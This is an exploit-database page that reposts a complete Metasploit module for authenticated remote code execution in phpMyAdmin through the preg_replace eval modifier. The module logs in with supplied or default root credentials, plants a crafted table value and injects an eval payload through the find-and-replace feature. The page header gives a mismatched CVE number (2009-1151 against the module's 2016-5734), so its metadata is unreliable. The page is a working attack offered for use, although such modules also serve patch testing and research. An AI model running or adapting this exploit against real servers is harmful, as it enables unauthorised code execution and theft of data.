phpMyAdmin 4.x Remote Code Execution
CVE
Category
Price
Severity
CVE-2009-1151
CWE-94
$10,000 - $25,000
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2018-06-18
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018060195 Below is a copy:
phpMyAdmin 4.x Remote Code Execution ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'phpMyAdmin Authenticated Remote Code Execution',
'Description' => %q{
phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before
4.6.3 does not properly choose delimiters to prevent use of the preg_replace
(aka eval) modifier, which might allow remote attackers to execute arbitrary
PHP code via a crafted string, as demonstrated by the table search-and-replace
implementation.
},
'Author' =>
[
'Michal AihaA and Cure53', # Discovery
'Matteo Cantoni <goony[at]nothink.org>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '91387' ],
[ 'CVE', '2016-5734' ],
[ 'CWE', '661' ],
[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2016-27/' ],
[ 'URL', 'https://security.gentoo.org/glsa/201701-32' ],
[ 'URL', 'https://www.exploit-db.com/exploits/40185/' ],
],
'Privileged' => true,
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Payload' =>
{
'BadChars' => "&\n=+%",
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 23 2016'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", '']),
OptString.new('DATABASE', [ true, "Existing database at a server", 'phpmyadmin'])
])
end
def check
begin
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
rescue
print_error("#{peer} - Unable to connect to server")
return Exploit::CheckCode::Unknown
end
if res.nil? || res.code != 200
print_error("#{peer} - Unable to query /js/messages.php")
return Exploit::CheckCode::Unknown
end
# PHP 4.3.0-5.4.6
# PHP > 5.4.6 not exploitable because null byte in regexp warning
php_version = res['X-Powered-By']
if php_version
vprint_status("#{peer} - PHP version: #{php_version}")
if php_version =~ /PHP\/(\d+\.\d+\.\d+)/
version = Gem::Version.new($1)
vprint_status("#{peer} - PHP version: #{version.to_s}")
if version > Gem::Version.new('5.4.6')
return Exploit::CheckCode::Safe
end
end
else
vprint_status("#{peer} - Unknown PHP version")
end
# 4.3.0 - 4.6.2 authorized user RCE exploit
if res.body =~ /pmaversion = '(\d+\.\d+\.\d+)';/
version = Gem::Version.new($1)
vprint_status("#{peer} - phpMyAdmin version: #{version.to_s}")
if version >= Gem::Version.new('4.3.0') and version <= Gem::Version.new('4.6.2')
return Exploit::CheckCode::Appears
elsif version < Gem::Version.new('4.3.0')
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Unknown
end
def exploit
return unless check == Exploit::CheckCode::Appears
uri = target_uri.path
vprint_status("#{peer} - Grabbing CSRF token...")
response = send_request_cgi({ 'uri' => uri})
if response.nil?
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")
elsif (response.body !~ /"token"\s*value="([^"]*)"/)
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
end
token = $1
vprint_status("#{peer} - Retrieved token #{token}")
vprint_status("#{peer} - Authenticating...")
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'vars_post' => {
'token' => token,
'pma_username' => datastore['USERNAME'],
'pma_password' => datastore['PASSWORD']
}
})
if login.nil?
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
elsif login.redirect?
token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first
else
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Wrong phpMyAdmin version?")
end
cookies = login.get_cookies
login_check = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => { 'token' => token },
'cookie' => cookies
})
if login_check.nil?
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
elsif login_check.body =~ /Welcome to/
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
end
vprint_status("#{peer} - Authentication successful")
# Create random table and column
rand_table = Rex::Text.rand_text_alpha_lower(3+rand(3))
rand_column = Rex::Text.rand_text_alpha_lower(3+rand(3))
sql_value = '0%2Fe%00'
vprint_status("#{peer} - Create random table '#{rand_table}' into '#{datastore['DATABASE']}' database...");
create_rand_table = send_request_cgi({
'uri' => normalize_uri(uri, 'import.php'),
'method' => 'POST',
'cookie' => cookies,
'encode_params' => false,
'vars_post' => {
'show_query' => '0',
'ajax_request' => 'true',
'db' => datastore['DATABASE'],
'pos' => '0',
'is_js_confirmed' => '0',
'fk_checks' => '0',
'sql_delimiter' => ';',
'token' => token,
'SQL' => 'Go',
'ajax_page_request' => 'true',
'sql_query' => "CREATE+TABLE+`#{rand_table}`+( ++++++`#{rand_column}`+varchar(10)+CHARACTER+SET"\
"+utf8+NOT+NULL ++++)+ENGINE=InnoDB+DEFAULT+CHARSET=latin1; ++++INSERT+INTO+`#{rand_table}`+"\
"(`#{rand_column}`)+VALUES+('#{sql_value}'); ++++",
}
})
if create_rand_table.nil? || create_rand_table.body =~ /(.*)<code>\\n(.*)\\n<\\\/code>(.*)/i
fail_with(Failure::Unknown, "#{peer} - Failed to create a random table")
end
vprint_status("#{peer} - Random table created")
# Execute command
command = Rex::Text.uri_encode(payload.encoded)
exec_cmd = send_request_cgi({
'uri' => normalize_uri(uri, 'tbl_find_replace.php'),
'method' => 'POST',
'cookie' => cookies,
'encode_params' => false,
'vars_post' =>{
'columnIndex' => '0',
'token' => token,
'submit' => 'Go',
'ajax_request' => 'true',
'goto' => 'sql.php',
'table' => rand_table,
'replaceWith' => "eval%28%22#{command}%22%29%3B",
'db' => datastore['DATABASE'],
'find' => sql_value,
'useRegex' => 'on'
}
})
# Remove random table
vprint_status("#{peer} - Remove the random table '#{rand_table}' from '#{datastore['DATABASE']}' database")
rm_table = send_request_cgi({
'uri' => normalize_uri(uri, 'import.php'),
'method' => 'POST',
'cookie' => cookies,
'encode_params' => false,
'vars_post' => {
'show_query' => '0',
'ajax_request' => 'true',
'db' => datastore['DATABASE'],
'pos' => '0',
'is_js_confirmed' => '0',
'fk_checks' => '0',
'sql_delimiter' => ';',
'token' => token,
'SQL' => 'Go',
'ajax_page_request' => 'true',
'sql_query' => "DROP+TABLE+`#{rand_table}`"
}
})
if rm_table.nil? || rm_table.body !~ /(.*)MySQL returned an empty result set \(i.e. zero rows\).(.*)/i
print_bad("#{peer} - Failed to remove the table '#{rand_table}'")
end
end
end
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum